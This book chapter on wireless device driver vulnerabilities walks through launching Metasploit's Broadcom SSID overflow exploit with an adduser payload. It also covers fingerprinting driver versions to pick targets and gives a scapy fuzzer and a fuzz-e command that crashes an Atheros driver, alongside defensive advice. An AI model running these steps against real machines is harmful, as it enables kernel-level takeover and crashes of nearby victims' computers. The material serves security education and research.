One of the most recent developments in wireless security is that of device driver vulnerabilities. Device driver vulnerabilities are unique because even though they are tied to a specific protocol (802.11, or Bluetooth, for example), they do not stem from problems with the protocol design. Instead, they stem from problems with the protocol's implementation.
In general, many different types of device drivers could be vulnerable. A USB device driver might not handle data passed to it via a hostile device that intentionally violates the standard. In fact, such an attack was shown to work some time ago. This attack didn't make too many people nervous because it required physical access to the machine.
Wireless changed all of that. The first publicly discovered remotely exploitable wireless device driver was actually in FreeBSD. It was discovered in 2006 by Karl Janmar. For some reason, this bug went widely unnoticed. Later, remotely exploitable bugs were found in Intel's popular Centrino line, as well as Apple's Broadcom and Atheros-based drivers. A very popular Bluetooth stack was also found to be exploitable. One of the most recent remotely exploitable bugs in a wireless driver was found in the stock Broadcom Windows driver, affecting millions of users worldwide.
Wireless device driver vulnerabilities are very different than the types of vulnerabilities most people are used to dealing with. Most vulnerabilities are found in applications, not protocol stacks. Applications sit at layer 7 of the OSI networking model, generally on top of TCP and IP. Device drivers handle packets at the link layer (layer 2), which has several consequences.
The first consequence is that in order to exploit a vulnerable wireless device driver the attacker needs to be within radio range of the target. You cannot remotely exploit a vulnerable wireless driver across the Internet.
The next big consequence is that an attacker gets kernel (aka ring0) code execution. While this is inherently sexy (remote ring0 code execution bugs used to be exceedingly rare), it also presents some problems for an attacker. Very few people know what sort of code to run inside the kernel. Until recently, there were very few cut and paste payloads available to take advantage of this. Metasploit 3.0 changed all that, providing an impressive ring0 "stager" that lets you execute arbitrary userland payloads as root, even though you started in the kernel. A detailed example on how to use this powerful tool is given next.
Enough abstract talk about driver exploits. Let's go ahead and run one. By far the easiest way to do this is by using one of the built-in exploits in Metasploit 3.0. This section will walk you through the entire process of downloading and configuring Metasploit to enable you to launch a wireless exploit.
Like all good tools that want to inject packets, Metasploit uses LORCON to get the job done. If you don't have LORCON installed and working, please refer to Chapter 4.
Assuming you have LORCON already installed and working, getting Metasploit configured is fairly easy. First, you need to download the latest snapshot:
[root@phoenix]$ mkdir msf3; cd msf3 [root@phoenix]$ svn co http://metasploit.com/svn/framework3/trunk/ A trunk/msfcli A trunk/BUGS.txt
Once the subversion check-out is done, you need to build a few extra modules:
[root@phoenix]$ cd trunk/external/ruby-lorcon/ [root@phoenix]$ ruby extconf.rb checking for tx80211_txpacket() in -lorcon... yes creating Makefile [root@phoenix]$ make & make install gcc -fPIC -Os -mcpu=i386 -pipe -fPIC -I. -I/usr/lib/ruby/1.8/i386-linux -I/usr/lib/ruby/1.8/i386-linux -I. -c Lorcon.c gcc -shared -L"/usr/lib" -o Lorcon.so Lorcon.o -lruby18 -lorcon -ldl -lcrypt -lm -lc install -c -p -m 0755 Lorcon.so /usr/lib/ruby/site_ruby/1.8/i386-linux
While you're at it, you should build the ruby-pcap interface as well:
[root@phoenix] cd ../ruby-pcapx [root@phoenix] ruby ./extconf.rb; make & make install
Now you have built and installed two optional pieces of Metasploit 3. The ruby-lorcon directory contains a simple ruby wrapper to interface with the LORCON library. The ruby-pcapx directory contains a ruby wrapper for pcap. The ruby-lorcon package is required for any wireless exploits to work.
You can start Metasploit in the usual manner. The only big difference is that in order to inject packets you need root access. This means you need to start Metasploit as root:
[root@phoenix:/home/johnycsh/msf3/trunk]$ ./msfconsole =[ msf v3.0-beta-dev + -- --=[ 157 exploits - 103 payloads + -- --=[ 17 encoders - 5 nops =[ 28 aux msf >
The exploit we are going to demonstrate is the Broadcom SSID overflow, which caught a lot of media attention during the Month of Kernel Bugs due to its wide-ranging impact:
msf > use windows/driver/broadcom_wifi_ssid
Now you need to configure the options to the exploit. The options used in Metasploit wireless exploits correspond well to options used with pcap2air (first demoed in Chapter 4) because they both use LORCON:
msf exploit(broadcom_wifi_ssid) > set INTERFACE ath0 msf exploit(broadcom_wifi_ssid) > set DRIVER madwifi msf exploit(broadcom_wifi_ssid) > set CHANNEL 1
Now all you need is a target:
msf exploit(broadcom_wifi_ssid) > show targets
and exploit targets:
Id Name -- ---- 0 Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10 1 Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10
The local machine that I test with has version 3.50.21.10 of the driver installed. I also happen to know the version of ntoskrnl installed matches with target 0.
Currently, the biggest drawback to a kernel exploit is the need to know such detailed information about a target. The Metasploit crew is hard at work to make the ring0 payload less sensitive to things like this, but for now, it helps if you know the version of ntoskrnl.exe on the victim machine. You can view this in File Properties of c:\windows\system32\ntoskrnl.exe.
Select the target that most closely matches your victim. Remember, if the exploit doesn't work it's going to blue-screen the box, so choose carefully:
msf exploit(broadcom_wifi_ssid) > set TARGET 0
Finally, the last thing to do is to fill in the payload and the victim's MAC address.
For demonstration purposes, the windows/adduser payload is a good choice. With most wireless exploits, it is not possible to get a real-time connect-back shell, because you end up hosing the wireless driver you rode in on. The current exception to this case seems to be the windows/driver/dlink_wifi_rates exploit, which has actually given me network connectivity after exploitation:
msf exploit(broadcom_wifi_ssid) > set PAYLOAD windows/adduser msf exploit(broadcom_wifi_ssid) > set USER metasploit msf exploit(broadcom_wifi_ssid) > set PASS pwned
Finally, you just set the MAC address to target. In this case, the address is 00:14: a5:06:8f:e6. This will obviously be different for you.
msf exploit(broadcom_wifi_ssid) > set ADDR_DST 00:14:a5:06:8f:e6
The last thing you do is cross your fingers and run the exploit.
Caution |
I have tested this exploit literally dozens of times while debugging it, and the worst thing it ever did was blue-screen my box. Except once, when a passing alpha particle decided to mess up my day, totally borking the registry of my wife's computer when trying to run the adduser payload. Never forget what you are trying to do: execute arbitrary code inside a running kernel. Things can go wrong. Don't try to do this against a box with your life's work on it, and it's a good idea to back up your registry beforehand. |
If the big warning didn't put you off, type exploit and cross your fingers:
msf exploit(broadcom_wifi_ssid) > exploit [*] Sending beacons and responses for 60 seconds...
The way this particular exploit works is by transmitting malformed beacon and probe responses to the victim. Even without a user clicking the Refresh Network List button, Windows still looks for networks periodically, usually about once every minute (hence, the default 60-second runtime). This means the exploit can be successful even when the victim is not associated to any network and, in fact, isn't using the wireless card at all.
The easiest way to test the exploit is to make Windows look for a network and thereby process the bogus beacons and probe responses you are sending to it. To do this, just click the Refresh Network List button on the target computer while the exploit is running:
[*] Finished sending frames... [*] Exploit completed, but no session was created. msf exploit(broadcom_wifi_ssid) >
If the attack is successful, the list of available wireless networks will be blank and the LED on the wireless card will probably go dead as well. If this happens, check to see if you have a new Administrator on the box named metasploit with a password of pwned. If so, congratulations-you have successfully exploited a kernel-level bug. If not, check out the following troubleshooting suggestions:
If you get a blue screen, it is probably because you selected your target incorrectly. Either try to fi nd a better target or install a version of the driver known to work.
If nothing at all happens, then you probably specifi ed the ADDR_DST incorrectly, the installed driver is not vulnerable, or you are having problems injecting packets. Verify that your packets are actually hitting the air if everything else seems to check out.
If you don't have any Broadcom cards handy, see what other exploits are available under windows/driver. The dlink_wifi_rates one is similar and also very reliable.
Hopefully, this tutorial ended with arbitrary code execution. Even if you couldn't get this specific exploit to work, you hopefully gained some insight into how to run wireless exploits from inside Metasploit. If you want a detailed write-up on how this and other wireless exploits included in Metasploit work, please check out http://www.uninformed.org/?v=6.
Unfortunately, there is little end-users can do to prevent these types of attacks. Unlike vulnerable applications that can be protected by firewalls and VPNs, device drivers are literally the code that looks at a packet before it gets processed by a firewall or VPN. Really, the most effective thing users can do is keep their wireless card disabled in untrusted settings, such as hotspots and airports.
There is one attractive long-term solution, which is for vendors to provide users with the ability to explicitly disable certain features in the device driver. Good suggestions are roaming, power-savings, and ad-hoc. By disabling features, the user can minimize the amount of code that is actually executed in the driver, which minimizes the potential for bugs. Doing this would also allow vendors to thoroughly audit the most important parts of the driver, before moving on to the more exotic features. Some device drivers will allow you to disable certain features, mostly on Linux. For example, you can disable roaming on the wavelan_cs at runtime.
The most practical solution to these sorts of problems is to ensure that your wireless device driver is up-to-date and to keep your card turned off in untrusted settings. Keeping your driver up-to-date is more difficult than you might imagine; Windows Update does not generally handle device drivers. This means users need to figure out who makes their wireless card/chipset/driver, and look for patches themselves.
As you just saw, one of the biggest difficulties in reliably exploiting device drivers is knowing what device driver/version a user has installed. Different versions of a device driver might change the details of an exploit, and if the wrong version is targeted, it will generally result in a kernel panic (blue screen of death) of some sorts. This is hardly stealthy.
If you could remotely determine what version of a device driver was installed before launching an exploit, you could ensure success and avoid crashing the target. There are currently two published techniques on this subject.
One technique, developed by Parisa Tabriz and several other grad students while at Sandia, works by analyzing the timing between management frames (specifically probe requests). By creating a large database of known behavior, they can monitor the traffic generated by a client and determine what device driver sent it.
Johnny Cache, coauthor of this book, developed the other technique. It is based on statistical analysis of the duration field in 802.11 frames. This technique has two advantages relative to the timing analysis performed by Sandia. The first is that the code is publicly available (a few people have even reported successfully using it). The second is that, in many cases, it can get device driver version resolution. This is exactly what you want if you are interested in launching an attack against a vulnerable driver.
Though this technique is known to work, the code that implements it is awkward to use. Currently work is being done to make it more user-friendly. It is possible that it may ultimately be implemented as a plug-in in the new version of Kismet. The best place to find more information on this topic is either http://www.uninformed.org/?v=5 or http://www.uninformed.org/?802.11mercenary.net .
Both of the techniques mentioned in the previous section are entirely passive. Because all they do is analyze traffic broadcast in the air, there is very little you can do to stop them from working. Since one technique analyzes timing, and the other a field in the 802.11 header, no sort of encryption will prevent them from prevailing.
Though it is conceivable that advanced countermeasures requiring driver patching could be used to trick these techniques, developing them would require a significant amount of work and be nearly impossible for closed-source drivers.
Fuzzing is a generic term hackers use to mean "throw a bunch of unexpected input at it and see what happens." Engineers usually prefer the term fault injection. Whatever term is used, the basic idea is the same: feed a program input until it does something unexpected, and then figure out why.
When dealing with wireless, this basically boils down to throwing a bunch of packets at a driver until it crashes. Windows can be configured to produce amazingly useful crashdumps when it blue-screens. You can examine these crashdumps using WinDbg, available for free from Microsoft. Other operating systems require more work to debug kernel crashes, usually involving setting up another machine to attach to the kernel remotely.
Debugging a kernel-level crash is really beyond the scope of this book; we are just going to focus on the tools used to crash a wireless device driver. Crashing a program is the first step many auditors take when looking for bugs, and wireless device drivers are no different. There are a few publicly available 802.11 fuzzing tools, such as scapy and fuzz-e.
scapy is a generic packet creation/manipulation framework. It was not designed to fuzz 802.11 device drivers explicitly. scapy lets you craft packets easily and then transmit them. One of the nice features of scapy is the fuzz() function. You can use this function to fill in values for fields you didn't specify. A simple scapy-based fuzzer, borrowed from an article written by David Maynor, is shown here:
#!/usr/bin/env python # The original article used /bin/env. The path was changed # to the more commonly found /usr/bin/env. import sys from scapy import * victim=sys.argv[1] attacker=sys.argv[2] conf.iface="ath0raw" frame=fuzz(Dot11(addr1=victim, addr2=attacker, addr3=attacker)) sendp(frame, loop=1)
This simple script will generate packets that have random contents. The only thing that stays constant is the addresses.
One of the problems with this script is that even if it does crash a driver, you won't really know what packet did it. You could set up another computer to sniff all the packets that are transmitted and log them to a pcap file. When the box you are fuzzing crashes, stop the packet capture and have a look at the last few packets.
This technique requires that you interactively monitor and halt the packet capture. As this process may take a very long time, you can automate it with fuzz-e.
Superficially, fuzz-e works similar to the scapy script. It generates totally random packets (except for the addresses) and tries to crash the target machine. It has a few features that make it more useful to bug hunters, however.
For starters, fuzz-e can target more than one machine. This means you can fuzz multiple device drivers at once, which improves the chances of finding a bug. fuzz-e also assumes that every target has a wired interface as well. This is where fuzz-e starts to distance itself from the scapy script shown earlier.
fuzz-e will ping the wired interface of a target machine before fuzzing it. Assuming the machine is up, it will then fuzz the wireless interface with a user-determined number of packets. fuzz-e will then try pinging the wired interface again after the fuzzing run. If the interface is down, fuzz-e assumes the target has crashed and will save all of the packets used to disk as well as insert an entry in a log file. This allows fuzz-e to run all night looking for bugs in multiple drivers, while you sleep soundly dreaming of the crashdumps that await you. fuzz-e can also influence the timing between packets. This feature was included because there is a known attack against Centrino drivers that is intimately related to timing issues.
Unfortunately, configuring and running fuzz-e is a real nightmare. Following is a sample command line that will crash the current Windows Atheros driver (ntpr11ag.sys, version 3.1.2.219) given enough time and luck:
root@diz~/airbase/tools/fuzz-e ./fuzz-e -R -A -P ath0 -n 500 -r rt2570 -i rausb0 -c 11 -D ./dest-addys.txt -w u200000 -s 00:07:0E:B9:74:BB -b 00:07:0E:B9:74:BB -E log.txt
This monster command line tells fuzz-e to use random delays between packets (-R) with a maximum delay of 200000 microseconds (-w u200000). In this case, fuzz-e is going to record all the traffic on channel 11 (-c 11) using the passive interface ath0 (-P ath0) and will read the destination address out of the file dest-addys.txt (-D./dest-addys.txt). Fuzz-e will inject traffic on rausb0 (-i rausb0). The -s and -b flags tell fuzz-e the source and BSSID address to use. The file that fuzz-e logs to is specified with -E.
If you were to run fuzz-e on your own, you would need to provide your own dest addys.txt file, as well as change the BSSID and source addresses used.
In order to fuzz device drivers effectively, you want them to be configured to automatically connect to an AP in your control. Use the access point's BSSID as the source and BSSID passed to fuzz-e. You will also need to modify the heartbeat_table in the test-up.pl script fuzz-e uses to see if a host has gone down.